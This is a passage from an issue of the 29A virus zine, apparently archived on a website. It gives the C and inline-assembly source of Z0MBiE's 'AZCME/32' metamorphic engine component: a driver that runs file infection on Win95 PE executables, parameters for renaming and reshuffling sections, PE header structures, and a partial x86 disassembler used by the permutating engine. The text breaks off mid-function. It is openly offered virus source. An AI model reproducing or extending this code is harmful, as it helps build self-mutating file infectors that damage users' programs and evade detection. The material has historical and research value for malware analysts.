Copy Link
Add to Bookmark
Report

29A Issue 03 03 07

eZine's profile picture
Published in 
29A
 · 28 Dec 2019

  

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.c]ÄÄ

// ==========================================================================
// Advanced ZCME/32Bit [Win95] [COMPONENT] Copyright (c) 1998 Z0MBiE/29A
// For great help in creation of this project thanx to Lord Asd
// Permutating(Metamorphic) Engine Research <z0mbie@i.am>
// NOT FOR [RE]PUBLISHING/DISASM IN VX-ZINES, EXCEPT 29A <i.am/z0mbie>
// ==========================================================================

// last updated: 24-07-98 02:11:07

unsigned long save_entrypoint = 0xFFFFFFFF; // saved program`s entrypoint

#include "system.c" // system routines
#include "params.h" // global parameters/constants
#include "mz.h" // mz header structure
#include "pe.h" // pe header/object table structure
#include "string.c" // asciiz strings manipulations
#include "fileio.c" // file io
#include "crt.c" // screen io routines, such as printf
#include "arg.c" // command line management
#include "random.c" // random number generator, using io-port
#include "disasm.c" // command disassembler
#include "engine.c" // permutating engine
#include "infect.c" // file infection routines

void main(void)
{
dword t;

con_init(); // initialize console
arg_init(); // parse command line

if (cmp(&argv[1], "RUN_FILE",9)) // if 1st parameter is "RUN_FILE"
{
asm // then execute old program,
mov eax, save_entrypoint // but check for 1st execution
inc eax // when entrypoint not initialized
jz __1
dec eax
jmp eax
__1:
end;
printf("This is FIRST execution, RUN_FILE not availablle");
exit(1);
}

if (argc != 3) // otherwise, check for valid number of parameters
{
printf("Syntax: %a <source_file> <dest_file>\n", argv[0]);
printf(" or\n");
printf(" %a RUN_FILE\n", argv[0]);

exit(1);
}

t = time(); // calculate time used by infection & engine

run_infect(argv[1], argv[0], argv[2]); // process infection

t = time() - t;

printf("%d milliseconds\n", t );

con_done(); // close console
exit(0); // exit
}

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[system.c]ÄÄ

// SYSTEM.C - system module
// Copyright (C) 1998 Z0MBiE/29A

#define MIN(a, b) (((a) < (b)) ? (a) : (b))
#define MAX(a, b) (((a) > (b)) ? (a) : (b))

#define asm asm { // i just like it
#define end }; //

typedef unsigned char byte; // define some types
typedef unsigned short word;
typedef unsigned long dword;

#define pchar const char * // and some pointers
#define voidptr const void *

// to fill variable with zeroes: zero(varname);
#define zero(x) fillchar((pchar) &x, sizeof(x), 0x00)

void exit(byte exitcode); // exit to windows
void fillchar(voidptr buf, dword bufsize, byte filler); // stos
void move(voidptr srcbuf, voidptr destbuf, dword size); // movs
dword cmp(voidptr srcbuf, voidptr destbuf, dword size); // cmps
dword time(void); // get system time in milliseconds


void exit(byte exitcode)
{
asm
extrn ExitProcess:PROC

movzx eax, exitcode
push eax
call ExitProcess
end;
}

void fillchar(voidptr buf, dword bufsize, byte filler)
{
asm
mov edi, buf
mov ecx, bufsize
mov al, filler
cld
rep stosb
end;
}

void move(voidptr srcbuf, voidptr destbuf, dword size)
{
asm
mov esi, srcbuf
mov edi, destbuf
mov ecx, size
cld
rep movsb
end;
}

dword cmp(voidptr srcbuf, voidptr destbuf, dword size)
{
asm
mov esi, srcbuf
mov edi, destbuf
mov ecx, size
xor eax, eax
cld
rep cmpsb
jne __1
inc eax
__1:
end;
return(_EAX);
}

dword time(void) // in milliseconds
{
word time[8];
asm
extrn GetSystemTime:PROC

lea eax, time
push eax
call GetSystemTime
movzx eax, time[7*2] // milliseconds
movzx ebx, time[6*2] // seconds
imul ebx, 1000
add eax, ebx
movzx ebx, time[5*2] // minute
imul ebx, 1000*60
add eax, ebx
end;
return(_EAX);
}






ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[system.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[params.h]ÄÄ

// PARAMS.H - AZCME global parameters/constants
// Copyright (C) 1998 Z0MBiE/29A

#define max_code_size 0x10000 // max code sction size
#define max_cmd 4096 // max instructions in code sect.

/* disassembler parameters */

//#define FULL_DUMP // full instruction dump
//#define SHORT_DUMP // short dump

/* file infection parameters */

#define RENAME_SECTIONS // rename sections at random
#define RESORT_OBJTABLE // restort objentries
#define RESORT_MY_SECTIONS // add own sections with random order

#define REDEFINE_SUBSYSTEM // set subsystem to windows char

/* engine parameters */

//#define DEBUG_FILES // create debug files


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[params.h]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[mz.h]ÄÄ

// MZ.H - MZ header
// Copyright (C) 1998 Z0MBiE/29A

typedef struct mzheader
{
word id; // MZ
word last512;
word num512;
word relnum;
word headersize;
word minmem;
word maxmem;
word ss;
word sp;
word checksum;
word ip;
word cs;
word relofs;
word ovrnum;
byte unused[32];
dword neptr;
} mzheader;

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[mz.h]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[pe.h]ÄÄ

// PE.H - PE header & objecttable
// Copyright (C) 1998 Z0MBiE/29A

typedef struct peheader
{
dword id; // 00 01 02 03
word cputype; // 04 05
word numofobjects; // 06 07
dword timedatestamp; // 08 09 0A 0B
dword coffptr; // 0C 0D 0E 0F
dword coffsize; // 10 11 12 13
word ntheadersize; // 14 15
word flags; // 16 17
// nt header below
word magic; // 18 19
byte linkmajor; // 1A
byte linkminor; // 1B
dword sizeofcode; // 1C 1D 1E 1F
dword sizeofidata; // 20 21 22 23
dword sizeofudata; // 24 25 26 27
dword entrypointrva; // 28 29 2A 2B
dword baseofcode; // 2C 2D 2E 2F
dword baseofdata; // 30 31 32 33
dword imagebase; // 34 35 36 37
dword objectalign; // 38 39 3A 3B
dword filealign; // 3C 3D 3E 3F
word osmajor; // 40 41
word osminor; // 42 43
word usermajor; // 44 45
word userminor; // 46 47
word subsysmajor; // 48 49
word subsysminor; // 4A 4B
dword reserved; // 4C 4D 4E 4F
dword imagesize; // 50 51 52 53
dword headersize; // 54 55 56 56
dword checksum; // 58 59 5A 5B
word subsystem; // 5C 5D
word dllflags; // 5E 5F
dword stackreserve; // 60 61 62 63
dword stackcommit; // 64 65 66 67
dword heapreserve; // 67 60 6A 6B
dword heapcommit; // 6C 6D 6E 6F
dword loaderflags; // 70 71 72 73
dword numofrvaandsizes; // 74 75 76 77
// rva and sizes
dword exportrva; // 78 79 7A 7B
dword exportsize; // 7C 7D 7E 7F
dword importrva; // 80 81 82 83
dword importsize; // 84 85 86 87
dword resourcerva; // 88 89 8A 8B
dword resourcesize; // 8C 8D 8E 8F
dword exceptionrva; // 90 91 92 93
dword exceptionsize; // 94 95 96 97
dword securityrva; // 98 99 9A 9B
dword securitysize; // 9C 9D 9E 9F
dword fixuprva; // A0 A1 A2 A3
dword fixupsize; // A4 A5 A6 A7
dword debugrva; // A8 A9 AA AB
dword debugsize; // AC AD AE AF
dword descriptionrva; // B0 B1 B2 B3
dword descriptionsize; // B4 B5 B6 B7
dword machinerva; // B8 B9 BA BB
dword machinesize; // BC BD BE BF
dword tlsrva; // C0 C1 C2 C3
dword tlssize; // C4 C5 C6 C7
dword loadconfigrva; // C8 C9 CA CB
dword loadconfigsize; // CC CD CE CF
byte reserved_1[8]; // D0 D1 D2 D3 D4 D5 D6 D7
dword iatrva; // D8 D9 DA DB
dword iatsize; // DC DD DE DF
byte reserved_2[8]; // E0 E1 E2 E3 E4 E5 E6 E7
byte reserved_3[8]; // E8 E9 EA EB EC ED EE EF
byte reserved_4[8]; // F0 F1 F2 F3 F4 F5 F6 F7
// --------- total size = 0xF8 ---------
} peheader;

typedef struct objentry
{
char name[8]; // 00 01 02 03 04 05 06 07
dword virtualsize; // 08 09 0A 0B
dword sectionrva; // 0C 0D 0E 0F
dword physicalsize; // 10 11 12 13
dword physicaloffset; // 14 15 16 17
byte reserved[0x0C]; // 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23
dword objectflags; // 24 25 26 27
// --------- total size = 0x28 ---------
} objentry;
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[pe.h]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[string.c]ÄÄ

// STRING.C - asciiz string management
// Copyright (C) 1998 Z0MBiE/29A

dword strlen(pchar s); // calc string length
void straddchar(pchar dest, char c); // add character to string

dword strlen(pchar s)
{
asm
mov edi, s
mov ecx, 0xFFFFFFFF
xor eax, eax
cld
repnz scasb
neg ecx
dec ecx
dec ecx
xchg ecx, eax
end;
return(_EAX);
}

void straddchar(pchar dest, char c)
{
asm
mov edi, dest
mov ecx, 0xFFFFFFFF
xor eax, eax
cld
repnz scasb
dec edi
mov al, c
stosw
end;
}

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[string.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fileio.c]ÄÄ

// FILEIO.C - file io subroutines, uses windows api
// Copyright (C) 1998 Z0MBiE/29A

#define handle dword // file handle

#define FILE_ATTRIBUTE_NORMAL 0x00000080 // some constants for api
#define OPEN_EXISTING 3
#define CREATE_ALWAYS 2
#define GENERIC_READ 0x80000000
#define GENERIC_WRITE 0x40000000
#define FILE_SHARE_READ 0x00000001
#define FILE_SHARE_WRITE 0x00000002
#define FILE_BEGIN 0
#define FILE_CURRENT 1

handle openfile(pchar fname); // open file
handle openfile_ro(pchar fname); // open file - readonly mode
handle createfile(pchar fname); // create new file
void closefile(handle h); // close file
dword readfile(handle h, voidptr buf, dword bufsize); // read file
dword writefile(handle h, voidptr buf, dword bufsize); // write file
dword filesize(handle h); // get file size
void seek(handle h, dword newpos); // set file pos
dword filepos(handle h); // get file pos

handle openfile(pchar fname)
{
asm
extrn CreateFileA:PROC

push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ + FILE_SHARE_WRITE
push GENERIC_READ + GENERIC_WRITE
push fname
call CreateFileA
end;
return(_EAX);
}

handle openfile_ro(pchar fname)
{
asm
extrn CreateFileA:PROC

push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_READ
push fname
call CreateFileA
end;
return(_EAX);
}

handle createfile(pchar fname)
{
asm
extrn CreateFileA:PROC

push 0
push FILE_ATTRIBUTE_NORMAL
push CREATE_ALWAYS
push 0
push FILE_SHARE_READ + FILE_SHARE_WRITE
push GENERIC_READ + GENERIC_WRITE
push fname
call CreateFileA
end;
return(_EAX);
}

void closefile(handle h)
{
asm
extrn CloseHandle:PROC

push h
call CloseHandle
end;
}

dword readfile(handle h, voidptr buf, dword bufsize)
{
dword bytesread;
asm
extrn ReadFile:PROC

push 0
lea eax, bytesread
push eax
push bufsize
push buf
push h
call ReadFile
mov eax, bytesread
end;
return(_EAX);
}

dword writefile(handle h, voidptr buf, dword bufsize)
{
dword byteswritten;
asm
extrn WriteFile:PROC

push 0
lea eax, byteswritten
push eax
push bufsize
push buf
push h
call WriteFile
mov eax, byteswritten
end;
return(_EAX);
}

dword filesize(handle h)
{
asm
extrn GetFileSize:PROC

push 0
push h
call GetFileSize
end;
return(_EAX);
}

void seek(handle h, dword newpos)
{
asm
extrn SetFilePointer:PROC

push FILE_BEGIN
push 0
push newpos
push h
call SetFilePointer
end;
}

dword filepos(handle h)
{
asm
extrn SetFilePointer:PROC

push FILE_CURRENT
push 0
push 0
push h
call SetFilePointer
end;

return(_EAX);
}







ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fileio.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[crt.c]ÄÄ

// CRT.C - module to work with console
// Copyright (C) 1998 Z0MBiE/29A

#define STD_INPUT_HANDLE -10 // constants for windows api
#define STD_OUTPUT_HANDLE -11
#define STD_ERROR_HANDLE -12

handle con_handle; // handle of console

char hexchar[16] = "0123456789ABCDEF"; // hex. characters

void con_init(void); // initialize console
void con_done(void); // close console

void pascal printf_char(char c); // equal to %c in printf
void pascal printf_hexchar(byte b); //
void pascal printf_hexbyte(byte b); // %B
void pascal printf_hexword(word w); // %W
void pascal printf_hexdword(dword d); // %D
void pascal printf_dword(dword d); // %d
void pascal printf_byte(byte b); // %b
void pascal printf_word(word w); // %w
void pascal printf_long(long l); // %l
void pascal printf_short(short s); // %s
void pascal printf_int(int i); // %i
void pascal printf_crlf(void); // \n
void pascal printf_asciiz(pchar s); // %a

void cdecl printf(pchar format, ...);

void con_init(void)
{
asm
extrn GetStdHandle:PROC

push STD_OUTPUT_HANDLE
call GetStdHandle

mov con_handle, eax
end;
}

void con_done(void)
{
closefile(con_handle);
}

void pascal printf_char(char c)
{
writefile(con_handle, &c, 1);
}

void pascal printf_hexchar(byte b)
{
printf_char(hexchar[b & 15]);
}

void pascal printf_hexbyte(byte b)
{
printf_hexchar(b >> 4);
printf_hexchar(b & 15);
}

void pascal printf_hexword(word w)
{
printf_hexbyte(w >> 8);
printf_hexbyte(w & 255);
}

void pascal printf_hexdword(dword d)
{
printf_hexword(d >> 16);
printf_hexword(d & 65535);
}

void pascal printf_dword(dword d)
{
if (d >= 10)
printf_dword(d / 10);
printf_char('0'+ d % 10);
}

void pascal printf_byte(byte b)
{
printf_dword(b);
}

void pascal printf_word(word w)
{
printf_dword(w);
}

void pascal printf_long(long l)
{
if (l < 0)
{
printf_char('-');
l = -l;
}
printf_dword(l);
}

void pascal printf_short(short s)
{
printf_long(s);
}

void pascal printf_int(int i)
{
printf_long(i);
}

void pascal printf_crlf(void)
{
printf_char(13);
printf_char(10);
}

void pascal printf_asciiz(pchar s)
{
while ((char)*s != 0x00)
{
printf_char((char) *s);
s++;
}
}

void cdecl printf(pchar format, ...)
{
dword stack_ptr = 12;

asm
mov esi, format
cld
__nextchar:
lodsb
or al, al
jz __exit
cmp al, '%'
je __percent
cmp al, 0x0A
je __crlf

__putchar:
push eax
call printf_char

jmp __nextchar

__crlf: call printf_crlf

jmp __nextchar

em_pop_eax:
mov ecx, stack_ptr
add stack_ptr, 4
mov eax, [ebp+ecx]
ret

__percent:
lodsb
or al, al
jz __exit

cmp al, 's'
je __s
cmp al, 'i'
je __i
cmp al, 'l'
je __l
cmp al, 'c'
je __c
cmp al, 'b'
je __b
cmp al, 'w'
je __w
cmp al, 'd'
je __d
cmp al, 'B'
je __bh
cmp al, 'W'
je __wh
cmp al, 'D'
je __dh
cmp al, 'a'
je __a

jmp __putchar

__s: call em_pop_eax
push eax
call printf_short
jmp __nextchar

__i: call em_pop_eax
push eax
call printf_int
jmp __nextchar

__l: call em_pop_eax
push eax
call printf_long
jmp __nextchar

__c: call em_pop_eax
push eax
call printf_char
jmp __nextchar

__b: call em_pop_eax
push eax
call printf_byte
jmp __nextchar

__w: call em_pop_eax
push eax
call printf_word
jmp __nextchar

__d: call em_pop_eax
push eax
call printf_dword
jmp __nextchar

__bh: call em_pop_eax
push eax
call printf_hexbyte
jmp __nextchar

__wh: call em_pop_eax
push eax
call printf_hexword
jmp __nextchar

__dh: call em_pop_eax
push eax
call printf_hexdword
jmp __nextchar
__a: call em_pop_eax
push eax
call printf_asciiz
jmp __nextchar

__exit:
end;
}
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[crt.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[arg.c]ÄÄ

// ARG.C - module to parse command line
// Copyright (C) 1998 Z0MBiE/29A

#define max_argc 10 // max. number of arguments
#define max_argv 256 // max argument size

dword argc; // argc, or paramcount in pascal
char argv[max_argc][max_argv]; // argv, or paramstr(i) in pascal

pchar cmdlineptr(void); // windows api - get pointer to command line
void arg_init(void); // subroutine to parse cmd. line

pchar cmdlineptr(void)
{
asm
extrn GetCommandLineA:PROC
call GetCommandLineA
end;
return((pchar) _EAX); // to avoid fucking compiler`s warning
}

void arg_init(void) // parse cmd. line
{
pchar p = cmdlineptr(); // p = pointer to cmd. line

argc = 0; // zero resulting vars
zero(argv); //

while ((char) *p != 0) // search till zero byte will be found
{
if ( ((char) *p == ' ') || ((char) *p == 0x09) ) // space or tab?
{
if (strlen(argv[argc]) != 0) // if argv[argc] <> 0
argc++; // then increase argc
}
else
straddchar(argv[argc], (char) *p); // else add current character
p++;
}
if (argv[argc][0] != 0x00) argc++; // check for last argv
}

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[arg.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[random.c]ÄÄ

// RANDOM.C - random number generator, 16-bit
// Copyright (C) 1998 Z0MBiE/29A

word rndword; // current random word

word random(void); // get random word
word rnd(word range); // get random word in range [0..range-1]
word rnd_minmax(word min, word max); // get random word in range [min..max]

word random(void)
{
asm
mov bx, rndword
in al, 40h // system counters
xor bl, al
in al, 40h
add bh, al
in al, 41h
sub bl, al
in al, 41h
xor bh, al
in al, 42h
add bl, al
in al, 42h
sub bh, al
mov ax, bx
rol ax, 1
xor dx, dx
mov cx, 10007
mul cx
inc ax
rol ax, 1
mov rndword, ax
end;
return(_AX);
}

word rnd(word range)
{
if (range == 0)
return(0);
else
return(random() % range);
}

word rnd_minmax(word min, word max)
{
return(rnd(max-min+1) + min);
}
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[random.c]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[disasm.c]ÄÄ

// DISASM.C - disassembler module for AZCME/32
// Copyright (C) 1998 Z0MBiE/29A

#define cf_66 0x00000001
#define cf_67 0x00000002
#define cf_lock 0x00000004
#define cf_rep 0x00000008
#define cf_seg 0x00000010
#define cf_0F 0x00000020
#define cf_w 0x00000040
#define cf_modrm 0x00000080
#define cf_sib 0x00000100
#define cf_mem 0x00000200
#define cf_data 0x00000400
#define cf_datarel 0x00000800
#define cf_ttt 0x00001000

#define ct_unknown 0 // by default
#define ct_ret 1
#define ct_call 2
#define ct_jmp 3
#define ct_jcc 4
#define ct_jmpMODRM 5

#define rt_undefined 0 // by default

#define rt_opcode0 1
#define rt_modrm_reg 2
#define rt_modrm_rm 3
#define rt_sib0_32 6
#define rt_sib3_32 7
#define rt_a 8 // eax/ax/al
#define rt_ebp 9 // ebp


typedef union dwordunion
{
dword d[1];
word w[2];
byte b[4];
} dwordunion;

typedef struct tcmdrec
{
dword size; // total command size in bytes

dword flags; // cf_xxxx
dword type; // ct_xxxx

byte px_rep; // prefixes
byte px_seg;

byte opcode; // opcode

byte modrm; // modrm
byte sib; // sib

dword memsize; // memory size in bytes
dwordunion mem; // mem

dword datasize; // data size in bytes
dwordunion data; // data

byte mod; // splitted modrm
byte reg; //
byte rm; //

byte scale; // splitted sib
byte index; //
byte base; //

dword regcount; // reg. count
dword regtype[3]; // rt_xxxx
dword regsize[3]; // 0,1,2,4

dword jmpdata;

} tcmdrec;

#define pcmdrec tcmdrec *


void debug_dump(pchar cmd, dword size)
{
printf("%D ", (dword) cmd);
for (; size>0; size--, cmd++)
printf(" %B", (byte) *cmd);
printf_crlf();
}

pchar ip;
tcmdrec r;
byte b;
byte ttt;

#define flagset(flag) ((r.flags & (flag)) != 0) // func
#define andflag(flag) r.flags &= (~(flag)) // proc
#define setflag(flag) r.flags |= (flag) // proc

#define getbyte ((byte) *ip++)
#define getbyteNI ((byte) *ip ) // NI=no increment

void modrm_real(void)
{
setflag(cf_modrm);

b = getbyte;

r.modrm = b;

r.mod = b >> 6;
r.reg = (b >> 3) & 7;
r.rm = b & 7;

if (r.mod == 0x03)
{

if ((r.flags & cf_ttt) == 0)
{
r.regtype[r.regcount ] = rt_modrm_reg;
r.regsize[r.regcount++] = 4;
}

r.regtype[r.regcount ] = rt_modrm_rm;
r.regsize[r.regcount++] = 0x66;
goto done;
};

if flagset(cf_67)
goto modrm_32;
else
goto modrm_16;

modrm_16:
asm int 3 end;

goto done;

modrm_32:

if ((r.flags & cf_ttt) == 0)
{
r.regtype[r.regcount ] = rt_modrm_reg;
r.regsize[r.regcount++] = 4;
}

if (r.mod == 0x01)
{
setflag(cf_mem);
r.memsize = 1;
}
if (r.mod == 0x02)
{
setflag(cf_mem);
r.memsize = 4;
}

if (r.rm == 0x04)
{
setflag(cf_sib);

b = getbyte;
r.sib = b;

r.scale = b >> 6;
r.index = (b >> 3) & 7;
r.base = b & 7;

r.regtype[r.regcount ] = rt_sib3_32; // index
r.regsize[r.regcount++] = 4;

if (r.base == 5)
{

if (r.mod == 0)
{
setflag(cf_mem);
r.memsize = 4;
}
else
{
r.regtype[r.regcount ] = rt_ebp;
r.regsize[r.regcount++] = 4;
}

goto done;
}

r.regtype[r.regcount ] = rt_sib0_32; // base
r.regsize[r.regcount++] = 4;

}
else
{
if ( (r.rm == 0x05) && (r.mod == 0) )
{
setflag(cf_mem);
r.memsize = 4;
}
else
{
r.regtype[r.regcount ] = rt_modrm_rm;
r.regsize[r.regcount++] = 4;
}
}

goto done;

done:

}

void disasm(pchar cmd, pcmdrec rec)
{
word i;
ip = cmd;

zero(r);
r.flags = (cf_66 | cf_67); // by default: 32-bit addressing

prefix:
b = getbyte;
ttt = (getbyteNI >> 3) & 7;

if (b == 0x66)
{
andflag(cf_66);
goto prefix;
}

if (b == 0x67)
{
andflag(cf_67);
goto prefix;
}

if (b == 0xF0)
{
setflag(cf_lock);
goto prefix;
}

if ((b == 0xF2) || (b == 0xF3))
{
setflag(cf_rep);
r.px_rep = b;
goto prefix;
}

if ((b == 0x26) || (b == 0x2E) || (b == 0x3E) || (b == 0x36) ||
(b == 0x64) || (b == 0x65))
{
setflag(cf_seg);
r.px_seg = b;
goto prefix;
}


if (b == 0x0F)
goto prefix_0F;

r.opcode = b;

#define cmpEx(data,andmask,cmpmask) ((data & andmask) == cmpmask)



if (b == 0x90)
goto done;
if (b == 0xCC)
goto done;

if (b == 0xE9)
{
r.type = ct_jmp;
goto data_66_rel;
}

if (b == 0xE8)
{
r.type = ct_call;
goto data_66_rel;
}




if cmpEx(b,0xF8,0x50)
{
//r.type = ct_push;
goto reg_opcode0;
}
if cmpEx(b,0xF8,0x58)
{
//r.type = ct_pop;
goto reg_opcode0;
}

if cmpEx(b,0xFC,0x88)
{
//r.type = ct_mov;
goto w_modrm;
}

if (b == 0xC2)
{
r.type = ct_ret;
goto data_word;
}
if (b == 0xC3)
{
r.type = ct_ret;
goto done;
}

if (b == 0xFC)
{
//r.type = ct_cld;
goto done;
}

if (b == 0x99) // cwd
goto done;

if cmpEx(b,0xFE,0xAA)
{
//r.type = ct_stos;
goto done;
}
if cmpEx(b,0xFE,0xA4)
{
//r.type = ct_movs;
goto done;
}

if cmpEx(b,0xFE,0xAE)
{
//r.type = ct_scas;
goto done;
}
if cmpEx(b,0xFE,0xAC)
{
//r.type = ct_lods;
goto done;
}
if cmpEx(b,0xFE,0xA6)
{
//r.type = ct_cmps;
goto done;
}

if cmpEx(b,0xF8,0xB8)
{
//r.type = ct_mov;
goto reg_opcode0_data_66;
}
if cmpEx(b,0xF8,0xB0)
{
//r.type = ct_mov;
goto data_byte;
}

if cmpEx(b,0xC4,0x00)
{
//r.type = ct_ttt_opcode3;
goto w_modrm;
}


if ( cmpEx(b,0xFE,0xF6) && cmpEx(ttt,0x06,0x02) )
{
//r.type = ct_notneg;
goto ttt_w_modrm;
}


if cmpEx(b,0xF0,0x40)
{
//r.type = ct_incdec;
goto reg_opcode0;
}


if cmpEx(b,0xF8,0x90)
{
//r.type = ct_xchg;
goto reg_opcode0;
}

if (b == 0x6A) // push
goto data_byte;
if (b == 0x68) // push
goto data_66;

if ((b == 0xFF) && (ttt == 0x06)) // inc modrm
goto ttt_modrm;

if (b == 0x8D) // lea
goto modrm;

if cmpEx(b,0xFC,0xA0) // mov ax, [xxxxx]
goto data_66;

if cmpEx(b,0xFC,0x80) // ttt rm, data
goto ttt_modrm_data_s_w_66;

if cmpEx(b,0xFE,0xC0) // ttt rm, data (shifts)
goto ttt_modrm_data_byte;

if cmpEx(b,0xF0,0x70)
{
r.type = ct_jcc;
goto data_byte_rel;
}

if (b == 0xEB)
{
r.type = ct_jmp;
goto data_byte_rel;
}


if ( cmpEx(b,0xFE,0xF6) && cmpEx(ttt,0x06,0x06) ) // div,idiv (ax)
{
goto ttt_a_w_modrm;
}

if cmpEx(b,0xFE,0x84) // test
goto w_modrm;

if (cmpEx(b,0xFE,0xC6) && (ttt == 0x00)) // mov rm, data
goto ttt_modrm_data_w_66;

if (cmpEx(b,0xFE,0xF6) && (ttt == 0x00)) // test rm, data
goto ttt_modrm_data_w_66;

if cmpEx(b,0xFE,0x3C) // cmp a
{
goto a_data_w_66;
}

if ( cmpEx(b,0xFE,0xFE) && cmpEx(ttt,0x06,0x00) ) // inc
goto ttt_w_modrm;

if cmpEx(b,0xC4,0x04) // and
goto data_w_66;

if ( (b == 0xFF) && (ttt == 0x04) ) // jmp modrm
{
r.type = ct_jmpMODRM;
goto ttt_modrm;
}

if (b == 0xEC) // in al, dx
goto done;
if (b == 0xE4) // in al, port
goto data_byte;


if (b == 0x69) // imul
goto modrm_data_w_66;

if (cmpEx(b,0xFE,0xF6) && (ttt == 0x04) ) // mul [a,] rm
goto ttt_modrm;

if cmpEx(b,0xFC,0xD0) // shr rm, 1/cl
goto w_modrm;

if (b == 0xA8) // test al,xx
goto data_byte;

if cmpEx(b,0xFE,0x9C) // push/popf
goto done;



error:
debug_dump(cmd, 10);
